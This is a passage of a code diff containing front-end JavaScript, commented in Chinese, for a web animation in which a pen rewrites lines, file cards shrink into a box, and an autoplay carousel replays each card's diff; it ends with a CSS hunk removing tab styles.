nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||
void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */
|
||||
penPos.classList.remove('is-live');
|
||||
}
|
||||
|
||||
/* 改写一行:飞向行右端同时倒转笔换到橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 边转回边滑到书写位 → 新行从笔尖长出 */
|
||||
async function rewriteLine(line, newW, delDline, addDline, myGen) {
|
||||
var sr = stageRect();
|
||||
var oldW = parseFloat(line.dataset.w);
|
||||
|
||||
// 1) 飞行倒笔一步到位:飞向行右端的同时顺时针转 90° + 滑移换端,到达时橡皮恰好按到线上
|
||||
// (擦除姿态为「左上—右下」:橡皮在右下接触线,笔身朝左上,与写字的「左下—右上」镜像区分)
|
||||
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate)
|
||||
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate)
|
||||
pen.classList.add('is-erasing');
|
||||
penPos.classList.add('is-live');
|
||||
var t0 = lineTip(line, sr);
|
||||
var fromX = penTx, fromY = penTy;
|
||||
pen.style.transform = 'rotate(90deg)';
|
||||
eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */
|
||||
var toX = penTx, toY = penTy;
|
||||
pen.style.transform = '';
|
||||
setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */
|
||||
await tween(540, function (p) {
|
||||
var e = easeInOut(p);
|
||||
pen.style.transform = 'rotate(' + (90 * e).toFixed(1) + 'deg)';
|
||||
setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e);
|
||||
}, myGen);
|
||||
|
||||
// 3) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左)
|
||||
// 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现
|
||||
var delChars = dlineChars[dlines.indexOf(delDline)];
|
||||
var dN = delChars.length;
|
||||
var nextDel = dN - 1;
|
||||
var eraseMs = Math.round(oldW * 7);
|
||||
await tween(eraseMs, function (p) {
|
||||
line.style.width = (oldW * (1 - easeInOut(p))) + '%';
|
||||
var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回,±7°
|
||||
pen.style.transform = 'rotate(' + (90 + wob).toFixed(1) + 'deg)';
|
||||
var t = lineTip(line, sr);
|
||||
eraserTo(t.x, t.y, sr);
|
||||
while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) {
|
||||
flyChar(t.x, t.y, delChars[nextDel], sr, myGen);
|
||||
nextDel--;
|
||||
}
|
||||
}, myGen);
|
||||
|
||||
// 5) 回正:翻回 0° 与换端回笔尖融合为一步(线宽已 0,右端即行首),到位即开写;
|
||||
// 转回 0° 后移除 is-erasing,origin 切回笔尖无跳变
|
||||
var home = lineTip(line, sr);
|
||||
var backFromX = penTx, backFromY = penTy;
|
||||
pen.style.transform = '';
|
||||
nibTo(home.x, home.y, sr);
|
||||
var backToX = penTx, backToY = penTy;
|
||||
pen.style.transform = 'rotate(90deg)';
|
||||
setPen(backFromX, backFromY);
|
||||
await tween(300, function (p) {
|
||||
var e = easeInOut(p);
|
||||
pen.style.transform = 'rotate(' + (90 * (1 - e)).toFixed(1) + 'deg)';
|
||||
setPen(backFromX + (backToX - backFromX) * e, backFromY + (backToY - backFromY) * e);
|
||||
}, myGen);
|
||||
pen.classList.remove('is-erasing');
|
||||
pen.style.transform = '';
|
||||
|
||||
// 6) 写上绿色新内容:笔尖跟随右端,is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右)
|
||||
pen.classList.add('is-writing');
|
||||
var addChars = dlineChars[dlines.indexOf(addDline)];
|
||||
var aN = addChars.length;
|
||||
var nextAdd = 0;
|
||||
var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写)
|
||||
await tween(writeMs, function (p) {
|
||||
line.style.width = (newW * easeOut(p)) + '%';
|
||||
nibToLineTip(line, sr);
|
||||
while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) {
|
||||
var t2 = lineTip(line, sr);
|
||||
flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen);
|
||||
nextAdd++;
|
||||
}
|
||||
}, myGen);
|
||||
pen.classList.remove('is-writing');
|
||||
}
|
||||
|
||||
/* genie 收盒 · 裁切式:文件卡片始终是同一个 DOM 元素,不切片、不缩放内容——
|
||||
每帧把 S 曲线轮廓(底部先收窄、侧边弧线、顶部后动)算成 path(fill 纸色+描边跟随),
|
||||
裁掉轮廓外的部分(裁切不压缩,内容全程原样清晰);
|
||||
文字随轮廓中心移动、矢量缩小字号;终态轮廓恰好是插在盒口的小矩形。
|
||||
三轮播完后动画可逆:点击盒内卡片按原路径倒出查看(genieRun dir=-1)。 */
|
||||
|
||||
/* genie 时序:塞入/倒出共用。833/533(= 原 1000/640 再提 1.2 倍速,相位结构不变) */
|
||||
var GENIE_TOTAL = 833;
|
||||
var GENIE_SLICE = 533;
|
||||
var GENIE_MAXDELAY = GENIE_TOTAL - GENIE_SLICE;
|
||||
|
||||
/* genie 几何参数:收盒时算一次缓存到 flight._geom,倒出时原样复用 */
|
||||
function computeGenieGeom(flight, r) {
|
||||
var sr = stageRect();
|
||||
var br = toLocal(boxBack.getBoundingClientRect(), sr);
|
||||
var px = +flight.dataset.px, py = +flight.dataset.py;
|
||||
var W = +flight.dataset.w, H = +flight.dataset.h;
|
||||
/* 盒口中心(stage 坐标):图标 y=12/24 处为盒口前缘线 */
|
||||
var mouthX = br.left + br.width / 2;
|
||||
/* 收盒顺序 3→2→1:第一轮收最里面,最后一轮收最前(后收的挡先收的) */
|
||||
var spec = FILED_SPECS[FILED_SPECS.length - 1 - r];
|
||||
var sinkY = spec.bottomY - (py + H);
|
||||
return {
|
||||
W: W, H: H, sinkY: sinkY,
|
||||
centerDx: mouthX - (px + W / 2),
|
||||
minS: (br.width * spec.wRatio) / W,
|
||||
compressH: spec.topY - py - sinkY
|
||||
};
|
||||
}
|
||||
|
||||
/* genie 单帧:按相位 p(0=封面原位,1=盒口终态)画 S 曲线轮廓、定位随动文字。
|
||||
正放收盒与倒放倒出共用(倒放只是 p 从 1 走回 0);返回轮廓包围盒。 */
|
||||
function genieFrame(flight, g, p) {
|
||||
var shape = flight._shapeEl;
|
||||
var name = flight._nameEl;
|
||||
var stat = flight._statEl;
|
||||
var W = g.W, H = g.H, sinkY = g.sinkY, centerDx = g.centerDx;
|
||||
var minS = g.minS, compressH = g.compressH;
|
||||
/* 交错相位运动:底部先动先快,顶部延迟;侧边 72 段采样(≈1.6px/段)平滑无锯齿 */
|
||||
var N = 72;
|
||||
var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */
|
||||
var now = p * GENIE_TOTAL;
|
||||
var L = [], R = [];
|
||||
var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9;
|
||||
for (var i = 0; i < N; i++) {
|
||||
var v = (i + 0.5) / N;
|
||||
var start = (1 - v) * GENIE_MAXDELAY;
|
||||
var q = Math.min(Math.max((now - start) / GENIE_SLICE, 0), 1);
|
||||
var e = easeInOut(q);
|
||||
var sx = 1 - (1 - minS) * e;
|
||||
var ty = (sinkY + (1 - v) * compressH) * e;
|
||||
var tx = centerDx * e;
|
||||
var lw = W * sx;
|
||||
var lx = (W - lw) / 2 + tx, rx = lx + lw;
|
||||
var yt = i * H / N + ty, yb = (i + 1) * H / N + ty;
|
||||
L.push([lx, yt], [lx, yb]);
|
||||
R.push([rx, yt], [rx, yb]);
|
||||
if (lx < minX) minX = lx;
|
||||
if (rx > maxX) maxX = rx;
|
||||
if (yt < minY) minY = yt;
|
||||
if (yb > maxY) maxY = yb;
|
||||
}
|
||||
/* 拼圆角多边形:四角 Q 贝塞尔(控制点=角点),角区两侧各截 RR 长——
|
||||
顶/底边内缩 RR,侧边从 ±RR 处起笔(落在角区内的端部小段跳过/截断)。
|
||||
这样 Q 跨距 RR×RR,等效圆角与端点 roundedRectD 的 r=3.5 圆弧视觉一致;
|
||||
早前版本侧边只跨一个切片(H/N≈1.7px),Q 被压成 ~1px 微圆角≈直角,
|
||||
倒放到位切换 roundedRectD 时圆角瞬间跳变(bug)。 */
|
||||
var f = function (n) { return n.toFixed(1); };
|
||||
var lt = L[0], rt = R[0];
|
||||
var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1];
|
||||
var RRe = Math.min(RR, (rt[0] - lt[0]) / 2, (rbN[0] - lbN[0]) / 2, (lbN[1] - lt[1]) / 2);
|
||||
var rtIn = lt[1] + RRe, rbIn = rbN[1] - RRe; /* 右侧:上角区下沿 / 下角区上沿 */
|
||||
var ltIn = lt[1] + RRe, lbIn = lbN[1] - RRe; /* 左侧:上角区下沿 / 下角区上沿 */
|
||||
var d = 'M' + f(lt[0] + RRe) + ',' + f(lt[1]);
|
||||
d += ' L' + f(rt[0] - RRe) + ',' + f(rt[1]);
|
||||
d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rt[0]) + ',' + f(rtIn); /* 右上 */
|
||||
for (var i = 0; i < N; i++) {
|
||||
var u2 = R[i * 2], d2 = R[i * 2 + 1];
|
||||
if (d2[1] <= rtIn || u2[1] >= rbIn) continue; /* 整段落在角区内 */
|
||||
var ax = u2[0], ay = u2[1], bx = d2[0], by = d2[1];
|
||||
if (ay < rtIn) { var s = (rtIn - ay) / (by - ay); ax += (bx - ax) * s; ay = rtIn; }
|
||||
if (by > rbIn) { var s2 = (rbIn - ay) / (by - ay); bx = ax + (bx - ax) * s2; by = rbIn; }
|
||||
d += ' L' + f(ax) + ',' + f(ay);
|
||||
d += ' L' + f(bx) + ',' + f(by);
|
||||
}
|
||||
d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RRe) + ',' + f(rbN[1]); /* 右下 */
|
||||
d += ' L' + f(lbN[0] + RRe) + ',' + f(lbN[1]); /* 底边 */
|
||||
d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(lbN[0]) + ',' + f(lbIn); /* 左下 */
|
||||
for (var j = N - 1; j >= 0; j--) {
|
||||
var dn = L[j * 2 + 1], up = L[j * 2];
|
||||
if (dn[1] <= ltIn || up[1] >= lbIn) continue; /* 整段落在角区内 */
|
||||
var cx2 = dn[0], cy2 = dn[1], dx2 = up[0], dy2 = up[1];
|
||||
if (cy2 > lbIn) { var s3 = (lbIn - dy2) / (cy2 - dy2); cx2 = dx2 + (cx2 - dx2) * s3; cy2 = lbIn; }
|
||||
if (dy2 < ltIn) { var s4 = (ltIn - cy2) / (dy2 - cy2); dx2 = cx2 + (dx2 - cx2) * s4; dy2 = ltIn; }
|
||||
d += ' L' + f(cx2) + ',' + f(cy2);
|
||||
d += ' L' + f(dx2) + ',' + f(dy2);
|
||||
}
|
||||
d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RRe) + ',' + f(lt[1]); /* 左上 */
|
||||
d += ' Z';
|
||||
shape.setAttribute('d', d);
|
||||
/* 文字随轮廓中心移动、矢量缩小字号。
|
||||
font-size 必须内联 style:presentation attribute 优先级低于 CSS 规则,会被压住 */
|
||||
var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2;
|
||||
var sc = (maxX - minX) / W;
|
||||
/* 字号双保险:随收窄等比缩,且不超过卡片宽能放下的上限(mono 字宽 ≈0.62em) */
|
||||
var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62);
|
||||
var fs1 = Math.min(Math.max(15 * sc, 7), fsFit);
|
||||
var fs2 = Math.max(11 * sc, 7);
|
||||
name.setAttribute('x', cx);
|
||||
name.setAttribute('y', cy - 2);
|
||||
name.style.fontSize = fs1.toFixed(1) + 'px';
|
||||
stat.setAttribute('x', cx);
|
||||
stat.setAttribute('y', cy + fs2 + 2);
|
||||
stat.style.fontSize = fs2.toFixed(1) + 'px';
|
||||
return { x: minX, y: minY, w: maxX - minX, h: maxY - minY };
|
||||
}
|
||||
|
||||
/* genie 正放(收盒 dir=1)/ 倒放(倒出 dir=-1):同一套帧函数双向驱动 */
|
||||
async function genieRun(myGen, flight, dir) {
|
||||
var g = flight._geom;
|
||||
var lastBox = null;
|
||||
await tween(GENIE_TOTAL, function (p) {
|
||||
lastBox = genieFrame(flight, g, dir > 0 ? p : 1 - p);
|
||||
}, myGen);
|
||||
/* 端点定格为精确圆角矩形(收盒=盒口堆叠小卡;倒出=完整封面),消除折线近似 */
|
||||
if (dir > 0) {
|
||||
flight._shapeEl.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5));
|
||||
flight._lastBox = lastBox;
|
||||
} else {
|
||||
flight._shapeEl.setAttribute('d', roundedRectD(0, 0, g.W, g.H, 3.5));
|
||||
}
|
||||
}
|
||||
|
||||
async function genieIntoBox(myGen, r, flight) {
|
||||
flight._geom = computeGenieGeom(flight, r);
|
||||
var g = flight._geom;
|
||||
flight.style.height = (g.H + g.sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */
|
||||
await genieRun(myGen, flight, 1);
|
||||
}
|
||||
|
||||
/* SVG 工具:SVG 元素必须用 createElementNS 创建(createElement 建的不渲染) */
|
||||
var SVG_NS = 'http://www.w3.org/2000/svg';
|
||||
function svgEl(tag, cls) {
|
||||
var e = document.createElementNS(SVG_NS, tag);
|
||||
if (cls) e.setAttribute('class', cls);
|
||||
return e;
|
||||
}
|
||||
|
||||
/* 圆角矩形 path(初始封面与终态卡片用;genie 期间为直边多边形) */
|
||||
function roundedRectD(x, y, w, h, r) {
|
||||
return 'M' + (x + r) + ',' + y +
|
||||
' L' + (x + w - r) + ',' + y +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) +
|
||||
' L' + (x + w) + ',' + (y + h - r) +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) +
|
||||
' L' + (x + r) + ',' + (y + h) +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) +
|
||||
' L' + x + ',' + (y + r) +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z';
|
||||
}
|
||||
|
||||
/* 收盒前:文件卡片(SVG:path 纸色+描边,text 文件名+统计)渐变出现,
|
||||
diff 内容直接消失;卡片是 SVG 单元素——描边跟随 path 轮廓(S 曲线斜边也有) */
|
||||
async function showFileCover(r, myGen) {
|
||||
var sr = stageRect();
|
||||
var pr = toLocal(diffView.getBoundingClientRect(), sr);
|
||||
var px = pr.left, py = pr.top;
|
||||
var W = pr.width, H = pr.height;
|
||||
var flight = svgEl('svg', 'file-flight');
|
||||
flight.style.left = px + 'px';
|
||||
flight.style.top = py + 'px';
|
||||
flight.style.width = W + 'px';
|
||||
flight.style.height = H + 'px';
|
||||
/* 创建即设层级(先收最里 21,后收在前):封面期就必须在 diffView(z20) 之上 */
|
||||
flight.style.zIndex = String(21 + r);
|
||||
flight.dataset.px = px; flight.dataset.py = py;
|
||||
flight.dataset.w = W; flight.dataset.h = H;
|
||||
var shape = svgEl('path', 'file-flight-shape');
|
||||
shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5));
|
||||
var name = svgEl('text', 'file-cover-name');
|
||||
name.setAttribute('x', W / 2);
|
||||
name.setAttribute('y', H / 2 - 3);
|
||||
name.setAttribute('text-anchor', 'middle');
|
||||
name.textContent = ROUNDS[r].file;
|
||||
var stat = svgEl('text', 'file-cover-stat');
|
||||
stat.setAttribute('x', W / 2);
|
||||
stat.setAttribute('y', H / 2 + 14);
|
||||
stat.setAttribute('text-anchor', 'middle');
|
||||
var add = svgEl('tspan', 'add'); add.textContent = '+2';
|
||||
var del = svgEl('tspan', 'del'); del.textContent = ' -2';
|
||||
stat.appendChild(add);
|
||||
stat.appendChild(del);
|
||||
flight.appendChild(shape);
|
||||
flight.appendChild(name);
|
||||
flight.appendChild(stat);
|
||||
flight._shapeEl = shape; flight._nameEl = name; flight._statEl = stat; /* genie 帧渲染复用,免每帧 querySelector */
|
||||
stage.appendChild(flight);
|
||||
getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式;getComputedStyle 才强制样式计算,定格 opacity 0 */
|
||||
flight.classList.add('is-on');
|
||||
await step(800, myGen); /* 等封面渐变动画完全结束(730ms + 余量) */
|
||||
diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */
|
||||
return flight;
|
||||
}
|
||||
|
||||
/* 下轮 diff 内容就位:no-fade 禁用过渡——移除 is-shown 与恢复显示若同帧,
|
||||
红绿底色会以 0.3s 淡出形式闪一下(有底色无文字);禁用后瞬时消失,无残影 */
|
||||
function resetDiffForRound(r) {
|
||||
setDiffTexts(r);
|
||||
diffView.classList.add('no-fade');
|
||||
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
|
||||
diffView.classList.remove('is-sheet');
|
||||
buildDlineChars();
|
||||
diffView.style.visibility = '';
|
||||
diffView.style.opacity = ''; /* 恢复渐隐前的可见(no-fade 下瞬间生效,无闪) */
|
||||
void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */
|
||||
diffView.classList.remove('no-fade');
|
||||
}
|
||||
|
||||
/* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */
|
||||
async function refillPaper(r, myGen) {
|
||||
paper.classList.add('is-refilling');
|
||||
await step(300, myGen);
|
||||
lines.forEach(function (l, i) {
|
||||
l.classList.remove('is-new');
|
||||
l.dataset.w = ROUNDS[r].paperW[i];
|
||||
});
|
||||
applyWidths();
|
||||
paper.classList.remove('is-refilling');
|
||||
await step(400, myGen);
|
||||
}
|
||||
|
||||
/* ───── 三轮收盒后:盒内卡片可交互 ─────
|
||||
hover 微微向上抬+向右倾(选中感);点击倒放 genie 倒出卡片,内容渐变为该轮 diff;
|
||||
再点(或点空白)正放收回——可反复查看。热区是独立 div:SVG 卡片本体
|
||||
pointer-events 为 none,且三层卡只露出顶边一截;热区按各卡露出顶边条带定位,
|
||||
重叠区归层级更高的(更靠前的卡),与视觉所见一致。 */
|
||||
var flights = [];
|
||||
var hotspots = [];
|
||||
var replayDiffEl = null;
|
||||
var browse = { active: false, opened: -1, busy: false };
|
||||
|
||||
/* 热区底边统一延伸到盒口前缘略下(前缘 214 + 凹口上段):
|
||||
最前卡的可见区本就一直延伸到这里;三张卡热区互相重叠的部分由 z-index 自然归更靠前的卡,与视觉一致 */
|
||||
var CARD_HOT_BOTTOM = 220;
|
||||
|
||||
function enableBrowse() {
|
||||
browse.active = true;
|
||||
flights.forEach(function (flight, r) {
|
||||
if (!flight || !flight._lastBox) return;
|
||||
var lb = flight._lastBox;
|
||||
var hot = el('div', 'card-hotspot');
|
||||
var topPx = +flight.dataset.py + lb.y;
|
||||
hot.style.left = (+flight.dataset.px + lb.x) + 'px';
|
||||
hot.style.top = topPx + 'px';
|
||||
hot.style.width = lb.w + 'px';
|
||||
hot.style.height = (CARD_HOT_BOTTOM - topPx) + 'px';
|
||||
hot.style.zIndex = String(31 + r);
|
||||
hot.addEventListener('mouseenter', function () {
|
||||
if (browse.busy || browse.opened === r) return;
|
||||
flight.classList.add('is-hover');
|
||||
});
|
||||
hot.addEventListener('mouseleave', function () {
|
||||
flight.classList.remove('is-hover');
|
||||
});
|
||||
hot.addEventListener('click', function (ev) {
|
||||
ev.stopPropagation();
|
||||
pauseAutoplay(); /* 按下卡片:暂停轮播 5 秒,点哪张看哪张 */
|
||||
onCardClick(r);
|
||||
});
|
||||
stage.appendChild(hot);
|
||||
hotspots.push(hot);
|
||||
});
|
||||
/* 收盒完成,停 2 秒让观众看清堆叠结果,再自动开始轮播 */
|
||||
var g = gen;
|
||||
rafWait(2000).then(function () { if (browse.active && g === gen) startAutoplay(); });
|
||||
}
|
||||
|
||||
function disableBrowse() {
|
||||
stopAutoplay();
|
||||
browse.active = false;
|
||||
browse.opened = -1;
|
||||
browse.busy = false;
|
||||
pendingCardClick = -1;
|
||||
hotspots.forEach(function (h) { h.parentNode && h.parentNode.removeChild(h); });
|
||||
hotspots = [];
|
||||
flights = [];
|
||||
removeReplayDiff();
|
||||
}
|
||||
|
||||
async function onCardClick(r) {
|
||||
/* 点已展开的卡:无操作(轮播中先停轮播,走到这保持展开) */
|
||||
if (browse.opened === r && !autoplay.on) return;
|
||||
/* 切换动画进行中点击:记录意图,当前动画完成后执行(不被 busy 吞掉) */
|
||||
if (browse.busy) { pendingCardClick = r; return; }
|
||||
browse.busy = true;
|
||||
pendingCardClick = -1;
|
||||
try {
|
||||
/* 已有展开卡:收回与倒出同时进行(一个塞回、一个倒出,视觉上是交换而非先后)。
|
||||
opened 先占位新卡,两路动画各自驱动各自的 flight,互不干扰 */
|
||||
var prev = browse.opened;
|
||||
browse.opened = r;
|
||||
var tasks = [openCardInner(r)];
|
||||
if (prev >= 0) tasks.push(closeCardInner(prev));
|
||||
await Promise.all(tasks);
|
||||
} catch (e) {
|
||||
if (e && e.message !== 'cancelled') throw e;
|
||||
}
|
||||
browse.busy = false;
|
||||
if (pendingCardClick >= 0) {
|
||||
var p = pendingCardClick;
|
||||
pendingCardClick = -1;
|
||||
onCardClick(p);
|
||||
}
|
||||
}
|
||||
|
||||
/* 倒出卡片:倒放 genie;最后 350ms 封面文字淡出、该轮 diff 逐行淡入(并行收尾) */
|
||||
async function openCardInner(r) {
|
||||
var myGen = gen;
|
||||
var flight = flights[r];
|
||||
browse.opened = r;
|
||||
flight.classList.remove('is-hover');
|
||||
if (hotspots[r]) hotspots[r].style.display = 'none';
|
||||
var pouring = genieRun(myGen, flight, -1);
|
||||
await step(GENIE_TOTAL - 350, myGen);
|
||||
flight.classList.add('is-bare');
|
||||
showReplayDiff(r);
|
||||
await pouring;
|
||||
}
|
||||
|
||||
/* 收回卡片 r:diff 快速淡出 + 封面文字淡回,随后正放 genie 回盒。
|
||||
只负责收回本身,不碰 browse.opened(由调用方管理,支持收回/倒出并行) */
|
||||
async function closeCardInner(r) {
|
||||
var myGen = gen;
|
||||
var flight = flights[r];
|
||||
if (replayDiffEl) {
|
||||
var d = replayDiffEl;
|
||||
replayDiffEl = null;
|
||||
d.classList.add('is-closing');
|
||||
setTimeout(function () { d.parentNode && d.parentNode.removeChild(d); }, 260);
|
||||
}
|
||||
flight.classList.remove('is-bare');
|
||||
await step(160, myGen);
|
||||
await genieRun(myGen, flight, 1);
|
||||
if (hotspots[r]) hotspots[r].style.display = '';
|
||||
}
|
||||
|
||||
/* 展开后的 diff 层:位置同 diffView(卡片倒出落点),四行逐行淡入;点击它即收回 */
|
||||
function showReplayDiff(r) {
|
||||
removeReplayDiff();
|
||||
var e = ROUNDS[r].edits;
|
||||
var rows = [
|
||||
{ t: e[0].del, c: 'is-del', s: '-' },
|
||||
{ t: e[0].add, c: 'is-add', s: '+' },
|
||||
{ t: e[1].del, c: 'is-del', s: '-' },
|
||||
{ t: e[1].add, c: 'is-add', s: '+' }
|
||||
];
|
||||
var d = el('div', 'replay-diff');
|
||||
rows.forEach(function (row, i) {
|
||||
var line = el('div', 'dline is-shown ' + row.c);
|
||||
line.style.transitionDelay = (i * 70) + 'ms';
|
||||
var sign = el('span', 'dsign'); sign.textContent = row.s;
|
||||
var text = el('span', 'dtext'); text.textContent = row.t;
|
||||
line.appendChild(sign);
|
||||
line.appendChild(text);
|
||||
d.appendChild(line);
|
||||
});
|
||||
d.addEventListener('click', function (ev) {
|
||||
ev.stopPropagation();
|
||||
closeOpenedCard();
|
||||
});
|
||||
stage.appendChild(d);
|
||||
getComputedStyle(d).opacity; /* 强制样式计算:起始 opacity 0 定格后再开过渡 */
|
||||
d.classList.add('is-on');
|
||||
replayDiffEl = d;
|
||||
}
|
||||
|
||||
function removeReplayDiff() {
|
||||
if (replayDiffEl) { replayDiffEl.parentNode && replayDiffEl.parentNode.removeChild(replayDiffEl); replayDiffEl = null; }
|
||||
}
|
||||
|
||||
function closeOpenedCard() {
|
||||
pauseAutoplay(); /* 用户手动收回卡片:同样暂停轮播 5 秒 */
|
||||
if (browse.busy || browse.opened < 0) return;
|
||||
browse.busy = true;
|
||||
var r = browse.opened;
|
||||
browse.opened = -1;
|
||||
closeCardInner(r).then(function () { browse.busy = false; }, function (err) {
|
||||
browse.busy = false;
|
||||
if (err && err.message !== 'cancelled') throw err;
|
||||
});
|
||||
}
|
||||
|
||||
/* ───── 自动轮播:收盒完成后自动开始,循环倒出/收回三张卡的详情;
|
||||
用户按下卡片(或手动收回)暂停 5 秒,之后自动恢复 ───── */
|
||||
var AUTOPLAY_DWELL = 4000; /* 每次切换间隔(倒出 833ms + diff 淡入 + 阅读停留) */
|
||||
var AUTOPLAY_PAUSE_MS = 5000; /* 用户操作后暂停轮播的时长 */
|
||||
var autoplay = { on: false, timer: null, resumeTimer: null, idx: -1 };
|
||||
var pendingCardClick = -1;
|
||||
|
||||
function startAutoplay() {
|
||||
if (!browse.active || autoplay.on) return;
|
||||
autoplay.on = true;
|
||||
autoplay.idx = browse.opened; /* 从当前展开卡的下一张开始;无展开则从第 1 张开始 */
|
||||
autoplayTick();
|
||||
}
|
||||
|
||||
/* 彻底停止(重播/卸载时):连恢复计时一起清。
|
||||
timer 是标识对象而非 setTimeout id——轮播间隔由 rafWait 驱动,回调比对引用失效即放弃 */
|
||||
function stopAutoplay() {
|
||||
autoplay.on = false;
|
||||
autoplay.timer = null;
|
||||
if (autoplay.resumeTimer) { clearTimeout(autoplay.resumeTimer); autoplay.resumeTimer = null; }
|
||||
}
|
||||
|
||||
/* 暂停 5 秒(用户操作时):期间轮播不动作,5 秒后自动恢复 */
|
||||
function pauseAutoplay() {
|
||||
autoplay.on = false;
|
||||
autoplay.timer = null;
|
||||
if (autoplay.resumeTimer) clearTimeout(autoplay.resumeTimer);
|
||||
autoplay.resumeTimer = setTimeout(function () {
|
||||
autoplay.resumeTimer = null;
|
||||
if (browse.active) startAutoplay();
|
||||
}, AUTOPLAY_PAUSE_MS);
|
||||
}
|
||||
|
||||
function autoplayTick() {
|
||||
if (!autoplay.on) return;
|
||||
autoplay.idx = (autoplay.idx + 1) % flights.length;
|
||||
onCardClick(autoplay.idx);
|
||||
var t = autoplay.timer = {};
|
||||
rafWait(AUTOPLAY_DWELL).then(function () {
|
||||
if (autoplay.on && autoplay.timer === t) autoplayTick();
|
||||
});
|
||||
}
|
||||
|
||||
async function play() {
|
||||
var myGen = ++gen;
|
||||
try {
|
||||
for (var r = 0; r < ROUNDS.length; r++) {
|
||||
// 0) 首轮等待开场(后续轮的纸面换新已并入上一轮收盒期间并行完成,无需等待)
|
||||
if (r === 0) {
|
||||
await step(650, myGen);
|
||||
}
|
||||
|
||||
// 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出(diff 实时构建)
|
||||
await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen);
|
||||
await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen);
|
||||
|
||||
// 2) 笔飞回智能体右侧(不再空等:飞行 500ms 与封面渐现 520ms 并行重叠)
|
||||
penPos.classList.remove('is-live');
|
||||
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||
|
||||
// 3) 收件箱始终显示(页面加载即在,无淡入步骤)
|
||||
|
||||
// 4) 文件卡片渐变出现(diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前)
|
||||
var flight = await showFileCover(r, myGen);
|
||||
flights[r] = flight;
|
||||
if (r < ROUNDS.length - 1) {
|
||||
// 5) 收盒与下一轮内容浮现同时进行:diff 区在封面下瞬时重建(不可见),
|
||||
// 纸面淡出旧行、淡入新行——卡片插进盒子时,下一轮的内容已就位
|
||||
resetDiffForRound(r + 1);
|
||||
var collecting = genieIntoBox(myGen, r, flight);
|
||||
await refillPaper(r + 1, myGen);
|
||||
await collecting;
|
||||
} else {
|
||||
await genieIntoBox(myGen, r, flight);
|
||||
// 6) 末轮三张卡全部收盒后,进入可查看交互(hover 微倾/点击倒出)
|
||||
enableBrowse();
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
if (e && e.message !== 'cancelled') throw e;
|
||||
}
|
||||
}
|
||||
|
||||
/* stage 空白点击只承担「收回展开卡」(轮播由 pauseAutoplay 暂停) */
|
||||
stage.addEventListener('click', function () {
|
||||
if (browse.active && browse.opened >= 0) closeOpenedCard();
|
||||
});
|
||||
|
||||
updateScale();
|
||||
applyWidths();
|
||||
penPos.classList.add('is-live'); /* 初始就位瞬移 */
|
||||
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||
void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */
|
||||
penPos.classList.remove('is-live');
|
||||
/* 进入视口才开始播放:页面打开时用户可能还没滚到功能区,避免错过开场 */
|
||||
var started = false;
|
||||
var io = new IntersectionObserver(function (entries) {
|
||||
if (!started && entries[0].isIntersecting) {
|
||||
started = true;
|
||||
io.disconnect();
|
||||
play();
|
||||
}
|
||||
}, { threshold: 0.3 });
|
||||
io.observe(container);
|
||||
}
|
||||
|
||||
return { init: init };
|
||||
})();
|
||||
@ -11,31 +11,6 @@
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.anim2-tabs {
|
||||
display: flex;
|
||||
gap: 2px;
|
||||
padding: 0 2px 6px;
|
||||
flex: none;
|
||||
}
|
||||
|
||||
.anim2-tab {
|
||||
height: 26px;
|
||||
padding: 0 13px;
|
||||
border: 0;
|
||||
border-radius: 6px;
|
||||
background: transparent;
|
||||
